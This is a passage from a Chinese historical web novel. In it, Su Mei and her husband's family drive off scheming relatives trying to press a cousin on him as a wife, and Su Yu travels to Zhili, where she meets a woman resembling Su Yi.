小官为了讨好上司,送女儿送妹妹的不少,但对象至少是二三品大员,得有苏天佑的品阶。 贺英还没从翰林院熬出来,芝麻绿豆的小官,就敢纳官身表妹为妾,这是嫌贺英仕途太多,特意给他加难度。 “贺英坚持是被下了药,但就是下了药,他也没对孙怜娘做什么。”苏玫说着。 孙舅母因为贺英的话,气的跳了三丈高,非要请婆子给孙怜娘验身。 验身结果,孙怜娘己非处子之身。 贺英就更有理由了,反正不是他干的,谁知道孙怜娘跟谁睡了。 非清白之身,硬塞给他,是想他当接盘侠,这绿帽他不戴。 这话一出口,孙舅父和孙舅母恨不得当场掐死贺英。 当然贺家下人一堆,不等他俩动手,自有管事小厮把他们拦下来。 “我也是才知道,贺英这个舅父好赌,舅母是填房,并不是孙怜娘的生母。”苏玫说着。 一般来说,破船还有三千钉,好歹是官家,当年贺二太太能嫁进勇毅府,门第也能过的去。 结果到孙舅父这,官是捐的,薪资少的可怜。自己又好赌,前不久在堵坊输了一把大的,不但把家产败光,还欠了钱。 现在着急把孙怜娘塞给贺英,是贺二太太己经被刮干净了。让贺二太太问贺英要,贺英只说没钱。 孙舅父和孙舅母见正常途径榨不出来了,这才想着把孙怜娘塞给贺英,以此死死缠住贺英。 纳妾得给纳妾之资,可以狮子大开口,要不了千两,也得要大几百两。 然后逢年过节,要是贺英敢不给钱,那就有得闹腾了。 “原来如此。” 苏钰本来还奇怪,好歹是官家女儿,没必要死缠着一个贺英。 要是冲着钱,想找个长期血包,那确实贺英合适。再有贺二太太打配合,能把贺英吸血吸到死。 “反正有热闹看。”苏玫笑着说,“我本想留下来陪母亲,现在都有点期待回贺家。” 苏钰神情古怪的看苏枚一眼,回想半年前,苏玫还为了贺英要生要死。 现在这心态,呃,倒是真好。 说了半天话,苏玫估摸着贺家的好戏也要上场了,便要告辞回去。 苏钰本欲留她一起吃晚饭,苏玫笑着道:“我回去吃。” 连续剧少看一章就落下剧情了。 苏钰看苏玫神情,“那我就不耽搁你看戏了。” 第80章 第 80 章 苏玫坐车回勇毅府,…… 苏玫坐车回勇毅府, 车驾刚驶进二门,就听孙舅母哭天喊地骂着,“贺英拐我女儿,却提了裤子不认帐, 我要告官, 革了贺英的功名。” 几事管事媳妇和婆子围着她, 任凭她在二门闹, 只要不出二门,就全然不管。 一时间苏玫的车驾驶进来, 孙舅母连忙扑上去,看到是苏玫,就更兴奋了,就要拉扯苏玫。 苏玫身边的丫头婆子上前拉开她,“舅太太再赶上前, 就休怪我们无礼了。” 孙舅母喊着,“六奶奶,你亲口说的, 让怜娘进府当平妻。” 苏玫听得笑了, “我答应有什么用, 六爷不答应,我还能按着他的头不成。” “他与怜娘的事, 你是亲眼看到的。”孙舅母急切说着。 本以为算计了贺英, 难点在于苏玫。 没想到苏玫答应了,贺英死活都不同意。 姑娘给了人家,便宜却没有占到。眼看着贺家越来越懈怠,贺二太太也说病了,赖在床上装死。 孙舅父和孙舅母是真急了, 孙舅父直接去翰林院堵贺英,孙舅母就在二门上撒泼打滚。 结果,贺家的主子们根本就不露面。 现在孙舅母有机会揪住苏玫,自然不想放手。 “老太太,大太太,二太太都看到了。”苏玫笑着说,“那么多长辈都在,我一个晚辈做什么主。” 说话间,苏玫往二房走,孙舅母本想跟着纠缠,却被婆子拉住。 孙舅母多少知道点苏玫的厉害,使钱厉害,府里的婆子都愿意给她卖力干活。 不敢纠缠,只是跟苏玫,继续说着,“要是贺英没了功名,你这人探花夫人就当不了了。” 苏玫古怪的看着孙舅母一眼,连状元都不是,三年一个探花,朝堂上一抓一把。 三品诰命稀罕,三年一个的探花夫人,有什么了不起的。 而且贺英的功名,革不革跟她有什么关系,又不是苏天佑的官职出问题了。 “你别以为我是说笑,惹恼了我,我是真的会告。”孙舅母怒声说着。 告官这种话,对于贺家来说,就像好是核弹。持有的时候威慑力最大,真爆炸了也就那样了。 孙舅母深知其中道理,喊的大声却不敢真去做。像贺大老爷这种老人精,可能吓不住,但用来拿捏苏玫这个小媳妇应该很容易。 “那你去告啊,我正好有借口和离,求之不得。”苏玫笑着,一副看热闹不嫌事大的模样,“要是衙门难为你,我可以帮你出头,状师都帮你请。” 孙舅母听得愣住了,有点搞不懂,苏玫这是说真还是说假的。 甩掉孙舅母,苏玫回到二房,刚进屋就小丫头来传话,“太太请六奶奶过去说话。” “我就来。”苏玫说着。 换了外衣,苏玫去了前头贺二太太正房,贺二太太正在床上躺着,孙怜娘床边站着,哭肿了眼。 贺二太太是真病了,并不是装病,身子骨本来就不强,闹这么一出,又是气又是急,内外交加就病倒了。 大夫来看过,只说要好好休养。贺二太太哪里休养的了,孙家的事情不解决,贺英又不见人。 “太太,您寻我。”苏玫神情气爽的走到床前问安。 贺二太太刚吃了药,多少有点精神,看着苏玫,却是朝孙怜娘使了个眼色。 孙怜娘对着苏玫跪了下去,“六奶奶,以前都是我错,我向您赔不是。” 苏玫连忙错开身,不受孙怜娘的礼,嘴里说着,“我都答应你当平妻了,是六爷不同意。” 孩子流产之时,她怨过贺二太太和孙怜娘,但事过境迁,她的心境己经变故。 从某方面说,她甚至还有点感谢孙怜娘,那孩子要是真生下来,只怕也是她今生的业债。 灾难让人成长,福兮祸兮,实在很难说的清楚。 贺二太太听苏玫如此说,只以为是推词,抹泪说着,“这孩子可怜,小时候就没了娘,总往我这里跑,也是因为继母不待见她。我是动过亲上加亲的想法,但那都是以前了,都是我糊涂,以后再不会这么想。” “女儿家失了清白身子,又被六郎那么说,实在活不下去了,你就当可怜可怜她,拿一千两银子出来,收了她吧。” 孙舅母闹来闹去多是为了钱,苏玫有钱,拿一两千银子出来,帮贺英把事平了,才是贤妻所为。 “我出一千两?” 苏玫愣住了,听前面话时,她还以为贺二太太是博可怜,让她替贺英做主,稀里糊涂收下孙怜娘。 没想到贺二太太还想她出一千银子,她有病吗,给贺英花一千两银子。 “这笔银子是数目是有点大,但是你手里肯定有的,家和万事兴,都是为了贺英。”贺二太太说着,又开始掉眼泪,“以前是我错待了你,以后我会好好待你,媳妇更胜亲女。” “我再有钱,也不会这么花。”苏玫直接拒绝,“孙家闹关我什么事,贺英的药又不是我下的,谁惹的麻烦谁抹平。” 贺二太太顿时变了脸色,没想到她己经低声下气求苏玫了,被拒绝不说,连下药的事都提了起来,语气怒了起来,“当初是你死乞白赖嫁过来的,甚至抢了你的姐姐的婚事。苏钰样样比你强,六郎要是娶了她,今天这事就不会发生。” 明明苏玫自己倒贴的,贺家让她贴上来,就给足脸面了。 她就得为贺英奉献,要不是她,贺英能娶更好的。 “所以你们就作践我。”苏玫声音冰冷,哪怕心境己经转变,但过往的记忆却依然让她全身冰冷。 她喜欢贺英,想嫁给贺英,这在贺英以及贺家人眼里就是是原罪。 尤其是贺二太太,更有种得意,你就是贱人,死巴着我儿子,我作践你是应该的。 “什么作践,明明是你自己犯贱。”贺二太太说着,“我说错了吗,珠胎暗结进我贺家门,六郎娶你为正室己经是天大的恩惠。” 这是苏玫一辈子的把柄,不管什么时候,这事拿出来说,苏玫就抬不起头来做人。 “所以啊,人真的不能犯浑,错了一次,就要被人拿住。”苏玫喃喃着,像是在自嘲。 “你抢了你姐姐的好亲事,你就不反省一下吗?”贺二太太继续说着。 “贺家这种地方,贺英那种人,算什么好亲事。”苏玫冷笑。 贺二太太更生气,“那也是你求着来的。” “那你让贺英跟我和离,写休书也行。”苏玫声音大了起来,“哪个不离,哪个是缩头王八。” 贺二太太愣了一下,没想到苏玫敢这么说。 和离,休弃对女子伤害极大,越是门庭高,越是不敢。 苏玫却是动了火,声音越发大了,逼进贺二太太,“太太素来有主意,能为儿子纳妾,自然可以为儿子休妻。这休书太太来写也是一样的,写完我与贺英画押,拿到官府去,一样有效。” 说着苏玫对屋里丫头婆子说着,“来人,准备笔墨,太太嫌我不够孝顺,我今天既孝又顺,这休书我替太太写了。” 贺二太太顿时变了脸色,孙怜娘更是不知道如何是好,连连给贺二太太使眼色。 苏玫脾气向来大,把她惹恼了,休妻之事先不说,她是肯定进不了门。 “六奶奶快别这么说……” 贺二太太身边的丫头婆子也被吓住了,哪里真敢拿来笔墨,乌压压跪在地上,嘴里说着求饶。 苏玫脾气上来,如何拦的住,见下人们不拿笔墨来,便自己动手。 走到西梢间里,苏玫以贺英的口气写了休书,自己的名字签好画押,随即把休书塞到贺二太太怀里,“太太让贺英签了字画了押,我就是贺家的下堂妇。” 贺二太太哪里敢接,她向来欺软怕硬,本以为拿捏了苏玫的错处,能拿捏一辈子,哪里想到苏玫脾气这般大。 孙怜娘虽然素来有心计,此时也吓坏了。 哪怕有强势的娘家,被休弃的女子下场也很惨的。 苏玫竟然自己写休书,这己经超过了孙怜娘的理解范围。 “休书我写了,把话带给贺英,不敢签字画押的是乌龟王八。”苏玫大声喊着,看着贺二太太和孙怜娘瑟瑟发抖了,这才转身离开。 与贺二太太这番争吵,哪怕是出了气,睡觉时苏玫还是有点气。 后悔倒是不多,主要是后悔也没用,索性就不后悔了。 日子总要过下去,但怎么过,得由她说了算。 翻来覆去到后半夜,苏玫刚想入睡,就听前头贺二太太院里有人喊着,“来人啊,抓贼了。” 苏玫愣了一下,连忙喊人,陪睡的丫头,外间的婆子连忙进来。 “去看看怎么了?”苏玫对婆子说着,心里却是疑惑,“这大半夜的,哪里来的贼。” 虽然贺家穷了,但架子还在。贺大太太管家虽然问题也多,但不至于门户不严。 婆子连忙去了,前院吵嚷声越来越大,隐隐约约还有孙舅父和孙舅母的声音,苏玫也有点坐不住,吩咐丫头更衣。 穿好外衣,丫头婆子带齐,苏玫匆匆去了前院。 从角门进入,只见贺二太太院里热闹极了。 管事带着小厮点着火把,不大的院子通时灯火通明。 几个婆子押着一个小厮模样的年轻男子,男子旁边还有一个被扯开的包袱,几件金首饰,数件银首饰,还有一块块碎银子散落地上。 孙怜娘站在男子旁边,一脸被吓坏的模样,说话都语无伦次起来,“这人是谁啊,半夜摸进院子里,赶紧拿了送去官府。” 贺二太太在正房台阶上站着,似乎也被这种阵 仗吓到了,身体颤抖,“人是怎么进来的,这大半夜的,怎么有陌生男子进院。” 她是被婆子喊醒的,大半夜闹贼,吓都要吓死了。 管事道:“不知道哪里来的小贼,惊扰了主子休息,我这就把人官府。” 说话间,几个小厮上前就要把男子拉走。 “怜娘,你怎么能如此狠心,是你约我私奔的,现在竟然把我当贼拿了。”男子突然失声痛哭,也抬起头来。 “噫,这不是王大吗。”有小厮认出王大。 管事也过去辩认,十分诧异,“怎么,你怎么……” 王大是贺家的家生子,从祖父起就在贺家侍侯,十分得主子喜欢。 大概十年前,贺家开了恩典,把王大一家放了出去,脱了奴籍。王大父母对贺家依然恭顺,逢年过节,或者主子的好日子皆过来拜见。 王大本来就在府里侍侯过,脱了奴籍后,也常随父母过来,与贺家上下皆十分熟识。 “我与怜娘情投意合,只因孙太太要一千两银子聘礼,生生要把我们拆散。”王大哭的声泪俱下。 孙怜娘惊呆了,下意识辩解着,“你胡说八道,我与你是见过几面,但我怎么可能看上你一个奴才。” 王大虽然脱了奴籍,但在贺家面前是挺不起腰杆的,奴才就是奴才。 她心气向来高,如何看的上一个奴才。 孙舅母更是直接,一个巴掌打到王大脸上,“你一个奴才也敢攀扯主子,送到衙门去,偷窃主子家的财物,这可是大罪。” 王大声音悲凄,“孙太太,我知道你恨我,因为我挡了你的发财梦,就为了一千两,你忍心让女儿作妾。” 孙舅母更是怒了,抬手又是几个耳光打在王大脸上,刚想大骂时,说听贺大太太说着,“这是怎么了?” 贺大太太是当家太太,贺二太太院里闹贼,婆子肯定先汇报给她。 管事刚想说前因后果,王大突然大声喊着,“我知道了,是你要嫁给六爷了,怕我把我们之间的事说出来,所以才骗我过来,说要与我私奔,其实是设下了局,用偷窃的罪名把我抓了,你就能安心给六爷当平妻了。” 贺大太太先是一怔,随即乐了,嘴角几乎要压不住,“哟,这还是一对野鸳鸯呢。” 孙怜娘吓坏了,连忙辩解着,“不是,是他胡说八道,总不能他凭空说几句,就毁我名节。” “我有证据。”王大大声喊着,挣开小厮从怀里拿出书信,“这是怜娘写给我的信,约我今晚私奔,还把自己的私房给了我。” 又指着地上散落的首饰,“这是怜娘的,其中肯定有她戴过的。” 众人上前去看,就有婆子喊着,“这,这不太太丢的那件金簪子吗,怎么在这里。” “还有这件步摇,是太太送给孙姑娘的。” 说着把簪子和步摇捡起来,送到贺二太太面前,贺二太太看着两件首饰,顿时气的全身乱颤,看着孙怜娘喊着,“你竟然,偷我的首饰,还私会男人。” “我没有,我真的没有。”孙怜娘彻底慌了,直接跪了下来,“姑妈,我从小在你身边长大,我的脾性如何你是最清楚,我爱慕表哥这么多年,怎么会与一个奴才有染。” 就在孙怜娘下跪哭泣之时,王大己经把怀里的书信交给管事,管事转给了贺大太太。 贺大太太看了一眼,却是对婆子说,“到孙姑娘屋里,看看有没有她的笔墨,拿出来核对笔迹。” 孙怜娘每回过来,都是住在贺二太太正房旁边的耳房里,现在孙家赖着不走,孙怜娘继续住耳房。 孙舅父和孙舅母见状,连忙去拦,但哪里拦的住,孙舅母骂骂咧咧,但几个婆子上前拉扯,如何拦的住。 片刻之后,就有婆子拿着孙怜娘的笔墨出来,贺大太太大概看了一眼,“看着是挺像的,把帐房叫来,让他来看看字迹。” 婆子去喊帐房的功夫,贺大老爷终于从姨娘屋里出来,匆匆来了二房。 至于贺二老爷依然睡在姨娘的小跨院里,听到动静了,却不想过来。 “这是怎么了?”贺大老爷问着。 贺大太太笑着说,“抓了一对野鸳鸯,真是没想到,孙家胆子真大,孙怜娘早与私通破了身,却把屎盆子扣六郎身上。” “我没有,我没有。”孙怜娘早吓得小脸苍白,拼命解释着,却全然无用。 “这人证物证俱在了,还敢说没有。”贺大太太冷笑着,扬了扬手中的书信,“等核对了笔迹,我看你如何狡辩。” 姗姗来迟的帐房先生终于来了,管事把书信以及孙怜娘房里找来的笔墨找出来,帐房先生看了又看,“这是一个人所写。” “不是,我没有写信给他。”孙怜娘大声喊着,“这肯定是有人模仿。” 帐房先生道:“若是小姐不信我所说,可以到官府去,请官府去对比。” 孙舅母好像反应过来一般,大声喊着,“这是栽脏,你们贺家栽脏。” “那你去告官啊。”贺大太太声音更大,“你不是天天喊着告官吗,现在去告吧。人证物证俱在,你家女儿不简点,却要跑到贺家来讹诈,我倒要看看京都府尹怎么说。” 孙舅母顿时哑然,孙怜娘直接跪倒在地上,动弹不得。 贺大老爷道:“把他们三个丢出去,以后再不准进门。” “是。” 管事应着,带着小厮们叉起孙舅父,几个婆子上前拉扯着孙舅母和孙怜娘。 三人挣扎着,但哪里是对手,没走正门,直接从后门丢了出去。 苏玫在角门站着,围观全过程,不禁说着,“这贺英倒是有点手段。” 也是孙家人太天真,贺英如此年轻就能中探花,在少年一辈里也是数的着的。 想靠无赖的手段,就想缠上吸血,也是天真的很。 民不与富斗,富不与官争,像孙家这种快破产的,到底哪来的自信,能搞的赢侯府,哪怕是将要落魄的侯府。 80-90 第81章 第 81 章 孙家三口被扔出去的…… 孙家三口被扔出去的第二天, 忙于公务的贺英终于回府了。 先去拜见贺老太太和贺大老爷,贺大老爷说了贺英几句,苍蝇不叮无缝的蛋,好色的毛病也该改改了, 仕途才是最要紧的。 三年一场科考, 又一堆新才子出炉, 贺英得把握机会。 “你那个母亲, 也是不像话。”贺老太太言语间带着不喜。 一直以来她都不喜欢贺二太太,又笨又蠢, 还贴娘家。 但看着孙子的份上,她也从来没有难过贺二太太。但这回的事情,贺二太太做的实在太离谱。 贺英低头不敢言语,贺大老爷却是向贺老太太使个眼色。婆婆收拾儿媳妇有的是手段,没必要在孙子面前说他亲妈的不是。 “回去好好安抚你媳妇, 这回的事,她最委屈。”贺大老爷说着。 贺英的前程,有一半握在苏家里手里。这种媳妇, 得小心捧着。 “是, 我会好好安抚六奶奶。”贺英说着。 贺大老爷听得点点头, “去吧。” “是。”贺英应着。 从贺老太太屋里出来,贺英先去看了贺二太太。 贺二太太原本就病着, 现在病的更厉害了, 几乎到了不认人的地步,主要是伤心。 孙怜娘真是她看着长大的,没想到她竟然早就与人私通,证据确凿还敢说被冤枉。 孙家彻底成了过街老鼠,以后再进不得贺家门。她以后想去贺家, 只怕也是难了。 “六爷,太太这病该请个好大夫来瞧瞧。”婆子小声对贺英说着。 明明病的更重,却依然服以前的药。 她去给贺大太太回禀,贺大太太只说,病去如抽丝,先把药吃完了,等上两天再说。 贺英往里间床上看了一眼,“等过两日,我去请御医来。” 勇毅侯府请不起御医,不是钱的问题,而是地位不够,御医不愿意包年坐诊。 就像苏家,大丫头有个头痛脑热,都能请御医进府诊脉。贺家请御医就需要人情。 贺英叮嘱婆子几句,从贺二太太屋里出来,通过角门就是苏玫的屋子。 苏玫嫁进府时就有孕,贺英以此为借口搬到书房,然后就没搬回来。 不是他不想搬,而是他暗示明示了苏玫,苏玫却说他住书房挺好的。 “六爷来了……” 小丫头打起帘子,贺英进屋,苏玫刚吃完饭,正欲放下碗筷,还剩下半桌子剩菜。 “我来的倒是巧。”贺英笑着说,径自餐桌前坐下来,看着苏玫说着,“向娘子讨口饭,总要给我吧。” 苏玫招来小丫头侍侯洗手,无所谓说着,“我吃完了,你想吃就随意。” “那我就不客气了。”贺英笑着说。 小丫头乘了饭端上来,贺英接过碗,对着一桌子剩菜是真的不客气。 苏玫慢悠悠洗完手,也不理会贺英,径自去了西梢间。 贺英吃完进到西梢间,见苏玫坐在罗汉床上,拿着棋谱摆棋局。 “一个摆棋局多没意思,不如我陪六奶奶下一盘。”贺英笑着说。 苏玫看他一眼,神情有些不耐烦,单刀直入,“有事说事,我不想浪费时间。” 贺英把昨天苏玫写的休书拿了出来,是刚才婆子给他的,当着苏玫的面撕个粉碎,“儿不言母过,我向六奶奶道歉。” 说着,贺英起身,十分正式的向苏玫躬身见礼。 成亲乃是结两姓之好,贺二太太不懂,想拿捏儿媳妇天天把和离休妻挂嘴上,是最无脑的。 本是你好我好大家的婚姻,天天拿这个威胁,最后结果就真别过了。 而且时至今日了,他连苏玫的正房都住不进去了,贺二太太哪来的自信,苏玫会当贤妻,还花钱给他平事。 “哟,给我赔不是,这真是难得啊。”苏玫用揶揄的口吻说着。 她流产的时候,贺英虽然表现的温柔体贴,一直说要好好过日子,但并没有道歉。 他认为自己没有做错,她现在也觉得贺英没做错。 但因为一封自己气愤之下写的休书,贺英竟然道歉了,还如此正式道歉,细想就有意思了。 “夫妻本是一体,我让六奶奶受了如此委屈,我早该道歉。”贺英态度十分端正。 苏玫流产之后,他就感觉到了苏玫对她的冷淡。他心里不太当回事,因为苏玫喜欢他,就算是一时间伤心难过,只要他花点时间,肯定能把苏玫哄好。 而直到这回事情,苏玫全然一副看热闹不嫌事大,甚至还想跟着搅和,对于他的利益是全然不在意。 贺英突然明白,苏玫是真的不在意了他。 这个不在意,不止是感情上的,甚至是夫妻利益上的。 情情爱爱这种,贺英虽然好色,心里却并不当回事。夫妻嘛,利益为上,你好我好大家好。 苏玫己经是贺家妇,将来的荣誉有一半在他身上,她怎么能希望他倒大霉。 “你到底要做什么,不如直说。”苏玫放下棋谱,看向贺英的神情有些不善。 以前有滤镜的时候没觉得,现在就觉得贺英做事阴险。对母亲妹妹还算可以,但对没有血缘关系的女人,全看利益。 贺英却是声音放软了,在罗汉床另一侧坐了下来,“夫妻本是一体,伤了我,也就是伤了你,玫儿多少也该顾念夫妻之情。” 就比如贺二太太给他下药之事,苏玫肯定是早知道了,她不但没阻止,还在当天,派个小丫头跟着,喊的震天响,生怕有人不知道。 她这么做的理由,甚至不是为了报复孙怜娘。只是觉得他要倒霉了,她也跟着凑热闹踹一脚。 至于后面答应娶孙怜娘为平妻,就更是火上浇油,生怕孙舅母闹的不够欢。 “哈哈……”苏玫听得乐了,索性把话说明白,“夫妻本是一体,这话得门当户对双方才说的。我祖父是侯爷,大伯父是国公,二伯父是大将军,父亲三品侍郎,母亲更是关家嫡女。” “再看看勇毅侯府,有拿出手的长辈吗,还要靠你一个翰林院的小官撑门面。” “你能给我什么,连你亲妹的嫁妆,你都担心保不住巴巴送到我这里。屋里使唤的下人都是我自己花钱养,四季衣服首饰,是我娘家送来。” “勇毅侯府是与英国公府门当户对过,但那是十年前的事了。睁开眼看看,现在的你,哪有资格在我面前说夫妻一体。” 毫不留情的一席话,好似把贺英最后的体面趴了个精光。 贺英脸色脸看至极,直瞪着苏玫,好似要把她生吞活剥。 侯府的嫡出少爷,从小长生好,会读书,风流才子,又考中探花。 就是贺家己经败落,贺英也从来没有吃过苦的,贺大老爷还指望着他能撑起门楣,许多事情还要问他意见,如何会如此大声斥责他。 本能的就想大声怼回去,却发现自己说不出话来。 他反驳不了苏玫。 “我本来也不想把话说那么难听,但贺家上下,时刻拿我嫁你之时说嘴。当初我是喜欢你,因为喜欢做了错事,这不表示我会错一辈子,我要纠正错误。”苏玫说着,直面贺英的愤怒,丝毫不退让。 “我在二太太房里写休书的时候,想的很清楚,贺家这样的地方,被体弃是福气。” 关氏说的,不能和离,现在不是和离,是贺英要休妻。 主要责任人在于贺英,她大不了去青云庵住上一年半载,事情过去也就没事了。 苏家被休弃的下堂妻,谷夫人就是,她的亲祖母正在苏家住着。 她的前大伯母慕容宁,都改嫁当王妃了。 至于名声,她出嫁时己经把苏家女儿的名声败光了,苏家也不在乎。 苏玫是说真的,她是真心觉得被休弃也不错。 这个认知让贺英的身体一点点变冷,连带着心中的怒火都一点点熄灭了。 就像苏玫说的,他有什么资格说门当户对,他连与苏玫和离都做不到。 苏玫不怕被休,他反而害怕承担骂名。 “我不会休妻。”贺英说着,斩钉截铁。 他突然发现自己错的很离谱,当初与苏钰的婚事换成苏玫时,他并没有太大反应。 都是姓苏的,同是苏家女儿,娶苏玫带来的资源并不少。 更重要的是,他了解苏钰,成亲之后绝对不会是贤妻良母,更不会事事以他为中心。 苏玫喜欢他,既然喜欢,肯定比苏钰好拿捏。 想的很美好,却忘记了爱情会消失,而人的本性不会改变。 苏玫为了嫁给他,能把父母气的半死,叛道离经此至,脾气主意本就是特别大。 有爱情的时候,还能哄着,一旦不爱了,翻脸比翻书还快。 真想找好捏的,就该找那听话的,在家听父母的,一点错找不着。而不是苏玫这种,为达目的敢冒天下之大不韪的。 “呵~真没种。”苏玫冷笑,虽然并不意外,却多少有些失落。 “既然注定无法分开,我们为什么不能好好生活。”贺英说着,这也是他这趟过来的目的。 他本来想的很简单,以他的口才,以及苏玫对他的感情。 哪怕是淡了,以他的才貌,只要肯用心,夫妻感情就不如从前,也会有明显的改善。 “说来说去,就是希望得到苏家的支持。”苏玫说着。 贺英道:“是,我是如此希望。父母会老去,兄弟会娶妻生子,娘家的照顾是一时的,你己是贺家妇,将来的儿子也姓贺。” “苏家小一辈里,有叶峰,新科状元,前途比我更好,但他是姓叶不姓苏。再就是苏邑,他走武官路子,苏越还在读书,多久考上功名还要再说。 “苏家是盛极一时,但想长久繁荣,子嗣单薄是大忌。我是贺家的女婿,姻亲绑定双方,以我的才能我的上进心,我可以做很多事情。我需要苏家的支持,同样的,我也会回馈苏家。” 一番话,听起来感情充沛,细想就是交易。 苏玫对于官场上的事非向来不太了解,径自说着,“这话你去跟我父亲说,他看人比我准,你值不值得,得他决定。” 苏天佑考虑事情肯定比她周到,这个女婿值不值得扶持,他自有主意。 贺英看着苏玫,脸上露出痛苦之色,“我们是要过一辈子的,非要弄成仇人似的。玫儿,你不觉得累吗?” 从小就在女人圈里打滚,他太自信了。而且夫为妻纲,他的妻子,怎么敢不事事以他的利益为先。 “我父母失和半辈子,现在基本不说话。”苏玫说着。 以前她不懂,为什么她的父母不能像舅父舅母那样,舅父一堆侍妾,与舅母依然能相敬如宾。 后来她才明白,有些人就是靠感情活着,感情就是他的大半生命。 她也一样,她会不择手段想嫁贺英,是因为喜欢他。她想与喜欢之人相守一生,现在她是对贺英死心,又不是对感情死心。 尤其是与贺英经历这些种种之后,让她与贺英相敬如宾,比杀了她还难。 过不下去,就是过不下去。 *** 十日之期己到,苏天华带领众人回直隶。 苏天华和苏邑骑马,苏钰和叶氏各自一辆大车,行李装了两大车,跟随的大夫,丫头婆子另外坐车。 再加上十来个骑马的护院,浩浩荡荡一群人,行走在官道上十分显眼。 从京城到直隶,快马两日,现在这么一行人,苏天华预计五天能到。 苏钰许久没出过门,天气转暖,春风吹着,想骑马就骑马,累了就到车上躺着。 看着沿途的美景,京城的那些烦恼似乎也随之消散了。 出门真好,心情越来越平静了。 “直隶苏氏,共分二十房,嫡系五支。” 从上车开始,绿川就开始研究,管事整理出来直隶苏家家谱。 做为一个合格的丫头,为主子分忧是必须的。苏钰从来没有回过直隶,只知道直隶亲友很多,但一个没见过。 为了避免过去后,两眼一抹黑,绿川找管事写了大概人员表,然后开始研究。 “国公府是嫡系长房一支,现任族长是大老爷,因大老爷不在京城,二房的三叔公代理族长。”绿川又对苏钰说,“我们这回就借宿在长二房,也不知道会安排什么房子。” “四房老太太的寿宴在半个月后,三品诰命,又是是五十岁整寿,肯定十分热闹。” “虽然老太太备了寿礼,但姑娘肯定也得送一份,来的时候我己经准备好,怕丢了,跟老太太的寿礼放一起。” 苏钰有些想睡了,便对绿川说着,“你自己看就行了,不用向我讲解。” 密密麻麻的人头,记是记不住的,反正是跟苏天华同路,到时候再说。 她现在更担心叶氏的情况,心病难医,原本病的都要起不了床,现在听说苏辰找到了,坐车长途跋涉,明明该疲惫的,她精神却看着好多了。 这样的叶氏,好像提着一口气,若真是苏辰,这口气上来了,病也就好了。 要不是苏辰,叶氏这口气松了,只怕真要大病一场了。 三叔公找回来的这位,哪怕是演的呢,关键是让叶氏以为是真的。 一路相安无事,五天后,一行人进直隶。 苏钰第一次来直隶,出于好奇,早就换了男装骑马。 直隶不大,虽然没有京城的繁华,但比起路过的几个城镇那是繁华太多了。 做为京城周边最繁华的大城市,至少街市上卖的东西不少,神奇玩意看着也不少。 “给二老爷,二太太,小爷姑娘们请安。” 刚进城门,没走几步,就有衣貌整洁的小厮上前。 来之前,苏天华给三叔公写了信,三叔公早安排了机伶的小厮城门口守着,就是为了接人。 “前头带路,先安顿了再说其他。”苏天华对小厮说着。 这一路奔波,叶氏看着精神还好,但总是疲惫。 “老太爷在西大街借了一处三进院落,己着人收拾妥当,侍侯的婆子丫头是从府里调派的,供老爷太太小爷姑娘们暂住。”小厮笑着说。 苏天华听得点点头,“如此甚是妥当。” 二叔公共有五子,早己成亲生子,却还未分家。若是过去借宿,想想就头大。 在外单独找处房舍,不与其他人混居,就是房子小些,也更妥当。 小厮前头引路,很快拐进了西大街,小厮指了指,“拐进去第二户就是。” 苏天华看过去,却见第二户门口己被围住,领头是一名华衣公子,跨下骏马,身侧跟着十几个手持棍棒的打手。 连衙门的官差都在其中,把整个西大街都快堵满了。 “是那个土霸王陆锦!”小厮大惊失色,对苏天华说着,“他们人多,二老爷您稍等,我这就去喊人来。” “不用喊人。”苏天华喊住小厮,“这是什么情况?” “二老爷刚来直隶不知,骑马的那个人叫陆锦,是宁阳侯府的世子,恒王妃是他亲 姨,是直隶的土霸王,最是仗势欺人。”小厮说着。 苏氏是直隶的大族,书香门第,人口众多。若只是宁阳侯府还好,但恒王府是藩王,皇亲国戚惹不起。 “他与苏家有仇?”苏天华问着。 小厮摇摇头,“这房舍是老太爷借的,也不知道哪里惹到这个爷了,连官府的差官都喊来,只怕不好善了。” 一直以来,苏氏一族与宁阳侯府是井水不犯河水,陆锦再发疯,也没有找过无故找过苏家的麻烦。 “不好善了,那我就帮他了了。”苏天华说着,回头喊苏邑,“赶他们走。” “是。”苏邑应着,拿起樱枪,骑马向前。 苏钰也在马上,对苏天华说着,“二叔,我也去看看。” “嗯。”苏天华点头。 苏邑拿出阵前骂阵的架式,长枪点地,大声喝斥,“哪来的野狗,挡我去路,速速离开。” 陆锦回头看到苏邑,不禁愣了一下,脱口而出,“好像。” 跟随的官差,见苏邑一身平民打扮,还带着几分风尘仆仆,喝着道:“官府缉拿逃奴,闲杂人等速速离开。” 苏邑并不善言词,但他善武。人不下马,手中长枪如游龙,几乎是瞬间功夫,除了两个官差外,十几个持棍打手全部倒地。 “这种战力斗,也敢当土霸王。”苏钰本来还想着要帮忙的,没想到苏邑己经搞定了。 就这点实力,要是在京城,别说土霸王了,当菜鸡都得挨打。 “好大胆子,竟然敢……”两个官差喊的很大声,身体却是抖索着,只差抱一起瑟瑟发抖了。 陆锦也被打下马,他多少会些拳脚,虽然跌下马,却不至于太狼狈。 但身为直隶的土霸王,从小到大何时受过这种气,现在被人无故打了,顿时心头火起。 “好,好的很。”陆锦气的发晕,却知道眼前的情况于他不利,再打下去他占不了便宜,“给我等着。” 陆锦带着人马离开,苏天华这才策马上前,跟这种小辈打交道有失身份。 小厮见苏邑打了陆锦,心道不好。陆锦的脾气可不是赶走就算完的,肯定还有事非。 但此情形,他哪里敢多言,上前拍门,“是我,来福,人己经被赶跑了,开门。” 紧闭的大门终于开了,开门的是一个纤纤女子,虽然擦了眼泪,眼圈却是红的。 一袭白衣,头发简单挽个发髻,却难掩其万种风情,真真绝色美人。 而就在女子抬头的瞬间,苏钰呆住了。 她与苏邑有九成相似。 第82章 第 82 章 苏天华扶着叶氏从车…… 苏天华扶着叶氏从车上下来, 一路奔波,叶氏脸上己有疲态,看到白衣女子的一瞬间,整个人都呆住了。 “你, 你是……”叶氏上前抓住女子的手, 眼泪就落了下来。 苏天华看着白衣女子, 也显得十分震惊, 却是小声对叶氏说着,“外头人多, 屋里说话。” 一行人刚进院,三叔公就来了。 陆锦带着人刚围上来的时候,就有婆子从后门跑去搬救兵。 “没事就好,我真是怕了那个土霸王。”三叔公走的太急,额头都出汗了。“我们屋里说话。” 三进小院, 虽然不大,院中花草整理的十分精致。 管事带着下人们整理行李,以及安置车驾马匹, 主子们进正房说话。 “云棠, 你也进来。”三叔公对白衣女子说着。 虽然人带过来了, 